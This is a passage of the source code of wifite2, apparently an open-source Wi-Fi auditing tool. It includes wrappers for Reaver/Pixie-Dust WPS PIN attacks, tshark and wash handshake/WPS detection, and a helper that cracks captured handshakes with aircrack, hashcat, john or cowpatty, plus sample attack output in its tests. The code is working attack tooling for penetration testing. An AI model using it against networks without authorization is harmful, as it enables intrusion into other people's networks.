newline=True)\n\n                # Try to derive PSK from PIN using Bully\n                self.pattack('{W}Retrieving PSK using {C}bully{W}...')\n                psk = None\n                try:\n                    psk = Bully.get_psk_from_pin(self.target, pin)\n                except KeyboardInterrupt:\n                    pass\n                if psk is None:\n                    Color.pl('')\n                    self.pattack('{R}Failed {O}to get PSK using bully', newline=True)\n                else:\n                    self.pattack('{G}Cracked WPS PSK: {C}%s' % psk, newline=True)\n\n            crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)\n            crack_result.dump()\n            return crack_result\n\n        return None\n\n\n    def parse_failure(self, stdout):\n        # Total failure\n        if 'WPS pin not found' in stdout:\n            raise Exception('Reaver says \"WPS pin not found\"')\n\n        # Running-time failure\n        if self.pixie_dust and self.running_time() > Configuration.wps_pixie_timeout:\n            raise Exception('Timeout after %d seconds' % Configuration.wps_pixie_timeout)\n\n        # WPSFail count\n        self.total_wpsfails = stdout.count('WPS transaction failed')\n        if self.total_wpsfails >= Configuration.wps_fail_threshold:\n            raise Exception('Too many failures (%d)' % self.total_wpsfails)\n\n        # Timeout count\n        self.total_timeouts = stdout.count('Receive timeout occurred')\n        if self.total_timeouts >= Configuration.wps_timeout_threshold:\n            raise Exception('Too many timeouts (%d)' % self.total_timeouts)\n\n\n    def parse_state(self, stdout):\n        state = self.state\n\n        # Check last line for current status\n        stdout_last_line = stdout.split('\\n')[-1]\n\n        # [+] Waiting for beacon from AA:BB:CC:DD:EE:FF\n        if 'Waiting for beacon from' in stdout_last_line:\n            state = 'Waiting for beacon'\n\n        # [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: NETGEAR07)\n        elif 'Associated with' in stdout_last_line:\n            state = 'Associated'\n\n        elif 'Starting Cracking Session.' in stdout_last_line:\n            state = 'Started Cracking'\n\n        # [+] Trying pin \"01235678\"\n        elif 'Trying pin' in stdout_last_line:\n            state = 'Trying PIN'\n\n        # [+] Sending EAPOL START request\n        elif 'Sending EAPOL START request' in stdout_last_line:\n            state = 'Sending EAPOL'\n\n        # [+] Sending identity response\n        elif 'Sending identity response' in stdout_last_line:\n            state = 'Sending ID'\n            self.locked = False\n\n        # [+] Sending M2 message\n        elif 'Sending M' in stdout_last_line:\n            for num in ['2', '4', '6']:\n                if 'Sending M%s message' % num in stdout_last_line:\n                    state = 'Sending M%s' % num\n                    if num == '2' and self.pixie_dust:\n                        state += ' / Running pixiewps'\n                    self.locked = False\n\n        # [+] Received M1 message\n        elif 'Received M' in stdout_last_line:\n            for num in ['1', '3', '5', '7']:\n                if 'Received M%s message' % num in stdout_last_line:\n                    state = 'Received M%s' % num\n                    self.locked = False\n\n        # [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking\n        elif 'Detected AP rate limiting,' in stdout_last_line:\n            state = 'Rate-Limited by AP'\n            self.locked = True\n\n        # Parse all lines since last check\n        stdout_diff = stdout[self.last_line_number:]\n        self.last_line_number = len(stdout)\n\n        # Detect percentage complete\n        # [+] 0.05% complete @ 2018-08-23 15:17:23 (42 seconds/pin)\n        percentages = re.findall(\n                r\"([0-9.]+%) complete .* \\(([0-9.]+) seconds/pin\\)\", stdout_diff)\n        if len(percentages) > 0:\n            self.progress = percentages[-1][0]\n\n        # Calculate number of PINs tried\n        # [+] Trying pin \"01235678\"\n        new_pins = set(re.findall(r'Trying pin \"([0-9]+)\"', stdout_diff))\n        if len(new_pins) > 0:\n            self.total_attempts += len(new_pins.difference(self.last_pins))\n            self.last_pins = new_pins\n\n        # TODO: Look for \"Sending M6 message\" which indicates first 4 digits are correct.\n\n        return state\n\n\n    def pattack(self, message, newline=False):\n        # Print message with attack information.\n        if self.pixie_dust:\n            time_left = Configuration.wps_pixie_timeout - self.running_time()\n            time_msg = '{O}%s{W}' % Timer.secs_to_str(time_left)\n            attack_name = 'Pixie-Dust'\n        else:\n            time_left = self.running_time()\n            time_msg = '{C}%s{W}' % Timer.secs_to_str(time_left)\n            attack_name = 'PIN Attack'\n\n        if self.total_attempts > 0 and not self.pixie_dust:\n            time_msg += ' {D}PINs:{W}{C}%d{W}' % self.total_attempts\n\n        Color.clear_entire_line()\n        Color.pattack('WPS', self.target, attack_name,\n                '{W}[%s] %s' % (time_msg, message))\n        if newline:\n            Color.pl('')\n\n\n    def running_time(self):\n        return int(time.time() - self.start_time)\n\n\n    @staticmethod\n    def get_pin_psk_ssid(stdout):\n        ''' Parses WPS PIN, PSK, and SSID from output '''\n        pin = psk = ssid = None\n\n        # Check for PIN.\n        ''' [+] WPS pin:  11867722 '''\n        regex = re.search(r\"WPS pin:\\s*([0-9]+)\", stdout, re.IGNORECASE)\n        if regex:\n            pin = regex.group(1)\n\n        if pin is None:\n            ''' [+] WPS PIN: '11867722' '''\n            regex = re.search(r\"WPS PIN:\\s*'([0-9]+)'\", stdout, re.IGNORECASE)\n            if regex:\n                pin = regex.group(1)\n\n        # Check for PSK.\n        # Note: Reaver 1.6.x does not appear to return PSK (?)\n        ''' [+] WPA PSK: 'password' '''\n        regex = re.search(r\"WPA PSK:\\s*'(.+)'\", stdout)\n        if regex:\n            psk = regex.group(1)\n\n        # Check for SSID\n        '''1.x [Reaver Test] [+] AP SSID: 'Test Router' '''\n        regex = re.search(r\"AP SSID:\\s*'(.*)'\", stdout)\n        if regex:\n            ssid = regex.group(1)\n\n        # Check (again) for SSID\n        if ssid is None:\n            '''1.6.x [+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)'''\n            regex = re.search(r\"Associated with [0-9A-F:]+ \\(ESSID: (.*)\\)\", stdout)\n            if regex:\n                ssid = regex.group(1)\n\n        return (pin, psk, ssid)\n\n\n    def get_output(self):\n        ''' Gets output from reaver's output file '''\n        if not self.output_filename:\n            return ''\n\n        if self.output_write:\n            self.output_write.flush()\n\n        with open(self.output_filename, 'r') as fid:\n            stdout = fid.read()\n\n        if Configuration.verbose > 1:\n            Color.pe('\\n{P} [reaver:stdout] %s' % '\\n [reaver:stdout] '.join(stdout.split('\\n')))\n\n        return stdout.strip()\n\n\nif __name__ == '__main__':\n    old_stdout = '''\n[Pixie-Dust]\n[Pixie-Dust]   Pixiewps 1.1\n[Pixie-Dust]\n[Pixie-Dust]   [*] E-S1:       00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00\n[Pixie-Dust]   [*] E-S2:       00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00\n[Pixie-Dust]   [+] WPS pin:    12345678\n[Pixie-Dust]\n[Pixie-Dust]   [*] Time taken: 0 s\n[Pixie-Dust]\nRunning reaver with the correct pin, wait ...\nCmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402\n\n[Reaver Test] BSSID: AA:BB:CC:DD:EE:FF\n[Reaver Test] Channel: 11\n[Reaver Test] [+] WPS PIN: '12345678'\n[Reaver Test] [+] WPA PSK: 'Test PSK'\n[Reaver Test] [+] AP SSID: 'Test Router'\n'''\n\n    # From vom513 in https://github.com/derv82/wifite2/issues/60\n    new_stdout = '''\n[+] Switching wlan1mon to channel 5\n[+] Waiting for beacon from EC:1A:59:37:70:0E\n[+] Received beacon from EC:1A:59:37:70:0E\n[+] Vendor: RealtekS\n[+] Trying pin \"12345670\"\n[+] Sending authentication request\n[+] Sending association request\n[+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)\n[+] Sending EAPOL START request\n[+] Received identity request\n[+] Sending identity response\n[+] Received M1 message\n[+] Sending M2 message\n\n Pixiewps 1.4\n\n [?] Mode:     3 (RTL819x)\n [*] Seed N1:  -\n [*] Seed ES1: -\n [*] Seed ES2: -\n [*] PSK1:     2c2e33f5e3a870759f0aeebbd2792450\n [*] PSK2:     3f4ca4ea81b2e8d233a4b80f9d09805d\n [*] ES1:      04d48dc20ec785762ce1a21a50bc46c2\n [*] ES2:      04d48dc20ec785762ce1a21a50bc46c2\n [+] WPS pin:  11867722\n\n [*] Time taken: 0 s 21 ms\n\nexecuting pixiewps -e d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b -s 5a67001334e3e4cb236f4e134a4d3b48d625a648e991f978d9aca879469d5da5 -z c8a2ccc5fb6dc4f4d69b245091022dc7e998e42ec1d548d57c35a312ff63ef20 -a 60b59c0c587c6c44007f7081c3372489febbe810a97483f5cc5cd8463c3920de -n 04d48dc20ec785762ce1a21a50bc46c2 -r 7a191e22a7b519f40d3af21b93a21d4f837718b45063a8a69ac6d16c6e5203477c18036ca01e9e56d0322e70c2e1baa66518f1b46d01acc577d1dfa34efd2e9ee36e2b7e68819cddacceb596a8895243e33cb48c570458a539dcb523a4d4c4360e158c29b882f7f385821ea043705eb56538b45daa445157c84e60fc94ef48136eb4e9725b134902b96c90b1ae54cbd42b29b52611903fdae5aa88bfc320f173d2bbe31df4996ebdb51342c6b8bd4e82ae5aa80b2a09a8bf8faa9a8332dc9819\n'''\n    pin_attack_stdout = '''\n[+] Pin cracked in 16 seconds\n[+] WPS PIN: '01030365'\n[+] WPA PSK: 'password'\n[+] AP SSID: 'AirLink89300'\n'''\n\n    (pin, psk, ssid) = Reaver.get_pin_psk_ssid(old_stdout)\n    assert pin  == '12345678',    'pin was \"%s\", should have been \"12345678\"' % pin\n    assert psk  == 'Test PSK',    'psk was \"%s\", should have been \"Test PSK\"' % psk\n    assert ssid == 'Test Router', 'ssid was %s, should have been Test Router' % repr(ssid)\n    result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)\n    result.dump()\n    print('')\n\n    (pin, psk, ssid) = Reaver.get_pin_psk_ssid(new_stdout)\n    assert pin  == '11867722',   'pin was \"%s\", should have been \"11867722\"' % pin\n    assert psk  is None,         'psk was \"%s\", should have been \"None\"' % psk\n    assert ssid == 'belkin.00e', 'ssid was \"%s\", should have been \"belkin.00e\"' % repr(ssid)\n    result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)\n    result.dump()\n    print('')\n\n    (pin, psk, ssid) = Reaver.get_pin_psk_ssid(pin_attack_stdout)\n    assert pin  == '01030365',   'pin was \"%s\", should have been \"01030365\"' % pin\n    assert psk  == 'password',   'psk was \"%s\", should have been \"password\"' % psk\n    assert ssid == 'AirLink89300', 'ssid was \"%s\", should have been \"AirLink89300\"' % repr(ssid)\n    result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)\n    result.dump()\n    print('')\n"
  },
  {
    "path": "wifite/tools/tshark.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom ..model.target import WPSState\nfrom ..util.process import Process\nimport re\n\nclass Tshark(Dependency):\n    ''' Wrapper for Tshark program. '''\n    dependency_required = False\n    dependency_name = 'tshark'\n    dependency_url = 'apt-get install wireshark'\n\n    def __init__(self):\n        pass\n\n\n    @staticmethod\n    def _extract_src_dst_index_total(line):\n        # Extract BSSIDs, handshake # (1-4) and handshake 'total' (4)\n        mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]\n        match = re.search('(%s)\\s*.*\\s*(%s).*Message.*(\\d).*of.*(\\d)' % (mac_regex, mac_regex), line)\n        if match is None:\n            # Line doesn't contain src, dst, Message numbers\n            return None, None, None, None\n        (src, dst, index, total) = match.groups()\n        return src, dst, index, total\n\n\n    @staticmethod\n    def _build_target_client_handshake_map(output, bssid=None):\n        # Map of target_ssid,client_ssid -> handshake #s\n        # E.g. 12:34:56,21:43:65 -> 3\n        target_client_msg_nums = {}\n\n        for line in output.split('\\n'):\n            src, dst, index, total = Tshark._extract_src_dst_index_total(line)\n\n            if src is None: continue # Skip\n\n            index = int(index)\n            total = int(total)\n\n            if total != 4: continue # Handshake X of 5? X of 3? Skip it.\n\n            # Identify the client and target MAC addresses\n            if index % 2 == 1:\n                # First and Third messages\n                target = src\n                client = dst\n            else:\n                # Second and Fourth messages\n                client = src\n                target = dst\n\n            if bssid is not None and bssid.lower() != target.lower():\n                # We know the BSSID and this msg was not for the target\n                continue\n\n            target_client_key = '%s,%s' % (target, client)\n\n            # Ensure all 4 messages are:\n            # Between the same client and target (not different clients connecting).\n            # In numeric & chronological order (Message 1, then 2, then 3, then 4)\n            if index == 1:\n                target_client_msg_nums[target_client_key] = 1 # First message\n\n            elif target_client_key not in target_client_msg_nums:\n                continue # Not first message. We haven't gotten the first message yet. Skip.\n\n            elif index - 1 != target_client_msg_nums[target_client_key]:\n                continue # Message is not in sequence. Skip\n\n            else:\n                # Happy case: Message is > 1 and is received in-order\n                target_client_msg_nums[target_client_key] = index\n\n        return target_client_msg_nums\n\n\n    @staticmethod\n    def bssids_with_handshakes(capfile, bssid=None):\n        if not Tshark.exists():\n            return []\n\n        # Returns list of BSSIDs for which we have valid handshakes in the capfile.\n        command = [\n            'tshark',\n            '-r', capfile,\n            '-n', # Don't resolve addresses\n            '-Y', 'eapol' # Filter for only handshakes\n        ]\n        tshark = Process(command, devnull=False)\n\n        target_client_msg_nums = Tshark._build_target_client_handshake_map(tshark.stdout(), bssid=bssid)\n\n        bssids = set()\n        # Check if we have all 4 messages for the handshake between the same MACs\n        for (target_client, num) in target_client_msg_nums.items():\n            if num == 4:\n                # We got a handshake!\n                this_bssid = target_client.split(',')[0]\n                bssids.add(this_bssid)\n\n        return list(bssids)\n\n\n    @staticmethod\n    def bssid_essid_pairs(capfile, bssid):\n        # Finds all BSSIDs (with corresponding ESSIDs) from cap file.\n        # Returns list of tuples(BSSID, ESSID)\n\n        if not Tshark.exists():\n            return []\n\n        ssid_pairs = set()\n\n        command = [\n            'tshark',\n            '-r', capfile, # Path to cap file\n            '-n', # Don't resolve addresses\n            # Extract beacon frames\n            '-Y', '\"wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05\"',\n        ]\n        tshark = Process(command, devnull=False)\n\n        for line in tshark.stdout().split('\\n'):\n            # Extract src, dst, and essid\n            mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]\n            match = re.search('(%s) [^ ]* (%s).*.*SSID=(.*)$' % (mac_regex, mac_regex), line)\n            if match is None:\n                continue # Line doesn't contain src, dst, ssid\n\n            (src, dst, essid) = match.groups()\n\n            if dst.lower() == 'ff:ff:ff:ff:ff:ff':\n                continue # Skip broadcast packets\n\n            if bssid is not None:\n                # We know the BSSID, only return the ESSID for this BSSID.\n                if bssid.lower() == src.lower():\n                    ssid_pairs.add((src, essid)) # This is our BSSID, add it\n            else:\n                ssid_pairs.add((src, essid)) # We do not know BSSID, add it.\n\n        return list(ssid_pairs)\n\n\n    @staticmethod\n    def check_for_wps_and_update_targets(capfile, targets):\n        '''\n            Given a cap file and list of targets, use TShark to\n            find which BSSIDs in the cap file use WPS.\n            Then update the 'wps' flag for those BSSIDs in the targets.\n\n            Args:\n                capfile - .cap file from airodump containing packets\n                targets - list of Targets from scan, to be updated\n        '''\n        from ..config import Configuration\n\n        if not Tshark.exists():\n            raise ValueError('Cannot detect WPS networks: Tshark does not exist')\n\n        command = [\n            'tshark',\n            '-r', capfile, # Path to cap file\n            '-n', # Don't resolve addresses\n            # Filter WPS broadcast packets\n            '-Y', 'wps.wifi_protected_setup_state && wlan.da == ff:ff:ff:ff:ff:ff',\n            '-T', 'fields', # Only output certain fields\n            '-e', 'wlan.ta', # BSSID\n            '-e', 'wps.ap_setup_locked', # Locked status\n            '-E', 'separator=,' # CSV\n        ]\n        p = Process(command)\n\n        try:\n            p.wait()\n            lines = p.stdout()\n        except:\n            # Failure is acceptable\n            return\n\n        wps_bssids = set()\n        locked_bssids = set()\n        for line in lines.split('\\n'):\n            if ',' not in line:\n                continue\n            bssid, locked = line.split(',')\n            if '1' not in locked:\n                wps_bssids.add(bssid.upper())\n            else:\n                locked_bssids.add(bssid.upper())\n\n        for t in targets:\n            target_bssid = t.bssid.upper()\n            if target_bssid in wps_bssids:\n                t.wps = WPSState.UNLOCKED\n            elif target_bssid in locked_bssids:\n                t.wps = WPSState.LOCKED\n            else:\n                t.wps = WPSState.NONE\n\n\nif __name__ == '__main__':\n    test_file = './tests/files/contains_wps_network.cap'\n\n    target_bssid = 'A4:2B:8C:16:6B:3A'\n    from ..model.target import Target\n    fields = [\n        'A4:2B:8C:16:6B:3A', # BSSID\n        '2015-05-27 19:28:44', '2015-05-27 19:28:46', # Dates\n        '11', # Channel\n        '54', # throughput\n        'WPA2', 'CCMP TKIP', 'PSK', # AUTH\n        '-58', '2', '0', '0.0.0.0', '9', # ???\n        'Test Router Please Ignore', # SSID\n    ]\n    t = Target(fields)\n    targets = [t]\n\n    # Should update 'wps' field of a target\n    Tshark.check_for_wps_and_update_targets(test_file, targets)\n\n    print('Target(BSSID={}).wps = {} (Expected: 1)'.format(\n        targets[0].bssid, targets[0].wps))\n    assert targets[0].wps == WPSState.UNLOCKED\n\n    print(Tshark.bssids_with_handshakes(test_file, bssid=target_bssid))\n"
  },
  {
    "path": "wifite/tools/wash.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom ..model.target import WPSState\nfrom ..util.process import Process\nimport json\n\nclass Wash(Dependency):\n    ''' Wrapper for Wash program. '''\n    dependency_required = False\n    dependency_name = 'wash'\n    dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x'\n\n    def __init__(self):\n        pass\n\n\n    @staticmethod\n    def check_for_wps_and_update_targets(capfile, targets):\n        if not Wash.exists():\n            return\n\n        command = [\n            'wash',\n            '-f', capfile,\n            '-j' # json\n        ]\n\n        p = Process(command)\n        try:\n            p.wait()\n            lines = p.stdout()\n        except:\n            # Failure is acceptable\n            return\n\n        # Find all BSSIDs\n        wps_bssids = set()\n        locked_bssids = set()\n        for line in lines.split('\\n'):\n            try:\n                obj = json.loads(line)\n                bssid = obj['bssid']\n                locked = obj['wps_locked']\n                if locked != True:\n                    wps_bssids.add(bssid)\n                else:\n                    locked_bssids.add(bssid)\n            except:\n                pass\n\n        # Update targets\n        for t in targets:\n            target_bssid = t.bssid.upper()\n            if target_bssid in wps_bssids:\n                t.wps = WPSState.UNLOCKED\n            elif target_bssid in locked_bssids:\n                t.wps = WPSState.LOCKED\n            else:\n                t.wps = WPSState.NONE\n\n\nif __name__ == '__main__':\n    test_file = './tests/files/contains_wps_network.cap'\n\n    target_bssid = 'A4:2B:8C:16:6B:3A'\n    from ..model.target import Target\n    fields = [\n        'A4:2B:8C:16:6B:3A', # BSSID\n        '2015-05-27 19:28:44', '2015-05-27 19:28:46', # Dates\n        '11', # Channel\n        '54', # throughput\n        'WPA2', 'CCMP TKIP', 'PSK', # AUTH\n        '-58', '2', '0', '0.0.0.0', '9', # ???\n        'Test Router Please Ignore', # SSID\n    ]\n    t = Target(fields)\n    targets = [t]\n\n    # Should update 'wps' field of a target\n    Wash.check_for_wps_and_update_targets(test_file, targets)\n\n    print('Target(BSSID={}).wps = {} (Expected: 1)'.format(\n        targets[0].bssid, targets[0].wps))\n\n    assert targets[0].wps == WPSState.UNLOCKED\n\n"
  },
  {
    "path": "wifite/util/__init__.py",
    "content": ""
  },
  {
    "path": "wifite/util/color.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\n\nclass Color(object):\n    ''' Helper object for easily printing colored text to the terminal. '''\n\n    # Basic console colors\n    colors = {\n        'W' : '\\033[0m',  # white (normal)\n        'R' : '\\033[31m', # red\n        'G' : '\\033[32m', # green\n        'O' : '\\033[33m', # orange\n        'B' : '\\033[34m', # blue\n        'P' : '\\033[35m', # purple\n        'C' : '\\033[36m', # cyan\n        'GR': '\\033[37m', # gray\n        'D' : '\\033[2m'   # dims current color. {W} resets.\n    }\n\n    # Helper string replacements\n    replacements = {\n        '{+}': ' {W}{D}[{W}{G}+{W}{D}]{W}',\n        '{!}': ' {O}[{R}!{O}]{W}',\n        '{?}': ' {W}[{C}?{W}]'\n    }\n\n    last_sameline_length = 0\n\n    @staticmethod\n    def p(text):\n        '''\n        Prints text using colored format on same line.\n        Example:\n            Color.p('{R}This text is red. {W} This text is white')\n        '''\n        sys.stdout.write(Color.s(text))\n        sys.stdout.flush()\n        if '\\r' in text:\n            text = text[text.rfind('\\r')+1:]\n            Color.last_sameline_length = len(text)\n        else:\n            Color.last_sameline_length += len(text)\n\n    @staticmethod\n    def pl(text):\n        '''Prints text using colored format with trailing new line.'''\n        Color.p('%s\\n' % text)\n        Color.last_sameline_length = 0\n\n    @staticmethod\n    def pe(text):\n        '''Prints text using colored format with leading and trailing new line to STDERR.'''\n        sys.stderr.write(Color.s('%s\\n' % text))\n        Color.last_sameline_length = 0\n\n    @staticmethod\n    def s(text):\n        ''' Returns colored string '''\n        output = text\n        for (key,value) in Color.replacements.items():\n            output = output.replace(key, value)\n        for (key,value) in Color.colors.items():\n            output = output.replace('{%s}' % key, value)\n        return output\n\n    @staticmethod\n    def clear_line():\n        spaces = ' ' * Color.last_sameline_length\n        sys.stdout.write('\\r%s\\r' % spaces)\n        sys.stdout.flush()\n        Color.last_sameline_length = 0\n\n    @staticmethod\n    def clear_entire_line():\n        import os\n        (rows, columns) = os.popen('stty size', 'r').read().split()\n        Color.p('\\r' + (' ' * int(columns)) + '\\r')\n\n\n    @staticmethod\n    def pattack(attack_type, target, attack_name, progress):\n        '''\n        Prints a one-liner for an attack.\n        Includes attack type (WEP/WPA), target ESSID & power, attack type, and progress.\n        ESSID (Pwr) Attack_Type: Progress\n        e.g.: Router2G (23db) WEP replay attack: 102 IVs\n        '''\n        essid = '{C}%s{W}' % target.essid if target.essid_known else '{O}unknown{W}'\n        Color.p('\\r{+} {G}%s{W} ({C}%sdb{W}) {G}%s {C}%s{W}: %s ' % (\n            essid, target.power, attack_type, attack_name, progress))\n\n\n    @staticmethod\n    def pexception(exception):\n        '''Prints an exception. Includes stack trace if necessary.'''\n        Color.pl('\\n{!} {R}Error: {O}%s' % str(exception))\n\n        # Don't dump trace for the \"no targets found\" case.\n        if 'No targets found' in str(exception):\n            return\n\n        from ..config import Configuration\n        if Configuration.verbose > 0 or Configuration.print_stack_traces:\n            Color.pl('\\n{!} {O}Full stack trace below')\n            from traceback import format_exc\n            Color.p('\\n{!}    ')\n            err = format_exc().strip()\n            err = err.replace('\\n', '\\n{!} {C}   ')\n            err = err.replace('  File', '{W}File')\n            err = err.replace('  Exception: ', '{R}Exception: {O}')\n            Color.pl(err)\n\n\nif __name__ == '__main__':\n    Color.pl('{R}Testing{G}One{C}Two{P}Three{W}Done')\n    print(Color.s('{C}Testing{P}String{W}'))\n    Color.pl('{+} Good line')\n    Color.pl('{!} Danger')\n\n"
  },
  {
    "path": "wifite/util/crack.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..config import Configuration\nfrom ..model.handshake import Handshake\nfrom ..model.wpa_result import CrackResultWPA\nfrom ..model.pmkid_result import CrackResultPMKID\nfrom ..util.process import Process\nfrom ..util.color import Color\nfrom ..util.input import raw_input\nfrom ..tools.aircrack import Aircrack\nfrom ..tools.cowpatty import Cowpatty\nfrom ..tools.hashcat import Hashcat, HcxPcapTool\nfrom ..tools.john import John\n\nfrom json import loads\n\nimport os\n\n\n# TODO: Bring back the 'print' option, for easy copy/pasting. Just one-liners people can paste into terminal.\n\n# TODO: --no-crack option while attacking targets (implies user will run --crack later)\n\nclass CrackHelper:\n    '''Manages handshake retrieval, selection, and running the cracking commands.'''\n\n    TYPES = {\n        '4-WAY': '4-Way Handshake',\n        'PMKID': 'PMKID Hash'\n    }\n\n    @classmethod\n    def run(cls):\n        Configuration.initialize(False)\n\n        # Get wordlist\n        if not Configuration.wordlist:\n            Color.p('\\n{+} Enter wordlist file to use for cracking: {G}')\n            Configuration.wordlist = raw_input()\n            if not os.path.exists(Configuration.wordlist):\n                Color.pl('{!} {R}Wordlist {O}%s{R} not found. Exiting.' % Configuration.wordlist)\n                return\n            Color.pl('')\n\n        # Get handshakes\n        handshakes = cls.get_handshakes()\n        if len(handshakes) == 0:\n            Color.pl('{!} {O}No handshakes found{W}')\n            return\n\n        hs_to_crack = cls.get_user_selection(handshakes)\n        all_pmkid = all([hs['type'] == 'PMKID' for hs in hs_to_crack])\n\n        # Tools for cracking & their dependencies.\n        available_tools = {\n            'aircrack': [Aircrack],\n            'hashcat':  [Hashcat, HcxPcapTool],\n            'john':     [John, HcxPcapTool],\n            'cowpatty': [Cowpatty]\n        }\n        # Identify missing tools\n        missing_tools = []\n        for tool, dependencies in available_tools.items():\n            missing = [\n                dep for dep in dependencies\n                if not Process.exists(dep.dependency_name)\n            ]\n            if len(missing) > 0:\n                available_tools.pop(tool)\n                missing_tools.append( (tool, missing) )\n\n        if len(missing_tools) > 0:\n            Color.pl('\\n{!} {O}Unavailable tools (install to enable):{W}')\n            for tool, deps in missing_tools:\n                dep_list = ', '.join([dep.dependency_name for dep in deps])\n                Color.pl('     {R}* {R}%s {W}({O}%s{W})' % (tool, dep_list))\n\n        if all_pmkid:\n            Color.pl('{!} {O}Note: PMKID hashes can only be cracked using {C}hashcat{W}')\n            tool_name = 'hashcat'\n        else:\n            Color.p('\\n{+} Enter the {C}cracking tool{W} to use ({C}%s{W}): {G}' % (\n                '{W}, {C}'.join(available_tools.keys())))\n            tool_name = raw_input()\n            if tool_name not in available_tools:\n                Color.pl('{!} {R}\"%s\"{O} tool not found, defaulting to {C}aircrack{W}' % tool_name)\n                tool_name = 'aircrack'\n\n        try:\n            for hs in hs_to_crack:\n                if tool_name != 'hashcat' and hs['type'] == 'PMKID':\n                    if 'hashcat' in missing_tools:\n                        Color.pl('{!} {O}Hashcat is missing, therefore we cannot crack PMKID hash{W}')\n                cls.crack(hs, tool_name)\n        except KeyboardInterrupt:\n            Color.pl('\\n{!} {O}Interrupted{W}')\n\n    @classmethod\n    def is_cracked(cls, file):\n        if not os.path.exists(Configuration.cracked_file):\n            return False\n        with open(Configuration.cracked_file) as f:\n            json = loads(f.read())\n        if json is None:\n            return False\n        for result in json:\n            for k in result.keys():\n                v = result[k]\n                if 'file' in k and os.path.basename(v) == file:\n                    return True\n        return False\n\n    @classmethod\n    def get_handshakes(cls):\n        handshakes = []\n\n        skipped_pmkid_files = skipped_cracked_files = 0\n\n        hs_dir = Configuration.wpa_handshake_dir\n        if not os.path.exists(hs_dir) or not os.path.isdir(hs_dir):\n            Color.pl('\\n{!} {O}directory not found: {R}%s{W}' % hs_dir)\n            return []\n\n        Color.pl('\\n{+} Listing captured handshakes from {C}%s{W}:\\n' % os.path.abspath(hs_dir))\n        for hs_file in os.listdir(hs_dir):\n            if hs_file.count('_') != 3:\n                continue\n\n            if cls.is_cracked(hs_file):\n                skipped_cracked_files += 1\n                continue\n\n            if hs_file.endswith('.cap'):\n                # WPA Handshake\n                hs_type = '4-WAY'\n            elif hs_file.endswith('.16800'):\n                # PMKID hash\n                if not Process.exists('hashcat'):\n                    skipped_pmkid_files += 1\n                    continue\n                hs_type = 'PMKID'\n            else:\n                continue\n\n            name, essid, bssid, date = hs_file.split('_')\n            date = date.rsplit('.', 1)[0]\n            days,hours = date.split('T')\n            hours = hours.replace('-', ':')\n            date = '%s %s' % (days, hours)\n\n            handshake = {\n                'filename': os.path.join(hs_dir, hs_file),\n                'bssid': bssid.replace('-', ':'),\n                'essid': essid,\n                'date': date,\n                'type': hs_type\n            }\n\n            if hs_file.endswith('.cap'):\n                # WPA Handshake\n                handshake['type'] = '4-WAY'\n            elif hs_file.endswith('.16800'):\n                # PMKID hash\n                handshake['type'] = 'PMKID'\n            else:\n                continue\n\n            handshakes.append(handshake)\n\n        if skipped_pmkid_files > 0:\n            Color.pl('{!} {O}Skipping %d {R}*.16800{O} files because {R}hashcat{O} is missing.{W}\\n' % skipped_pmkid_files)\n        if skipped_cracked_files > 0:\n            Color.pl('{!} {O}Skipping %d already cracked files.{W}\\n' % skipped_cracked_files)\n\n        # Sort by Date (Descending)\n        return sorted(handshakes, key=lambda x: x.get('date'), reverse=True)\n\n\n    @classmethod\n    def print_handshakes(cls, handshakes):\n        # Header\n        max_essid_len = max([len(hs['essid']) for hs in handshakes] + [len('ESSID (truncated)')])\n        Color.p('{W}{D}  NUM')\n        Color.p('  ' + 'ESSID (truncated)'.ljust(max_essid_len))\n        Color.p('  ' + 'BSSID'.ljust(17))\n        Color.p('  ' + 'TYPE'.ljust(5))\n        Color.p('  ' + 'DATE CAPTURED\\n')\n        Color.p('  ---')\n        Color.p('  ' + ('-' * max_essid_len))\n        Color.p('  ' + ('-' * 17))\n        Color.p('  ' + ('-' * 5))\n        Color.p('  ' + ('-' * 19) + '{W}\\n')\n        # Handshakes\n        for index, handshake in enumerate(handshakes, start=1):\n            Color.p('  {G}%s{W}' % str(index).rjust(3))\n            Color.p('  {C}%s{W}' % handshake['essid'].ljust(max_essid_len))\n            Color.p('  {O}%s{W}' % handshake['bssid'].ljust(17))\n            Color.p('  {C}%s{W}' % handshake['type'].ljust(5))\n            Color.p('  {W}%s{W}\\n' % handshake['date'])\n\n\n    @classmethod\n    def get_user_selection(cls, handshakes):\n        cls.print_handshakes(handshakes)\n\n        Color.p('{+} Select handshake(s) to crack ({G}%d{W}-{G}%d{W}, select multiple with {C},{W} or {C}-{W} or {C}all{W}): {G}' % (1, len(handshakes)))\n        choices = raw_input()\n\n        selection = []\n        for choice in choices.split(','):\n            if '-' in choice:\n                first, last = [int(x) for x in choice.split('-')]\n                for index in range(first, last + 1):\n                    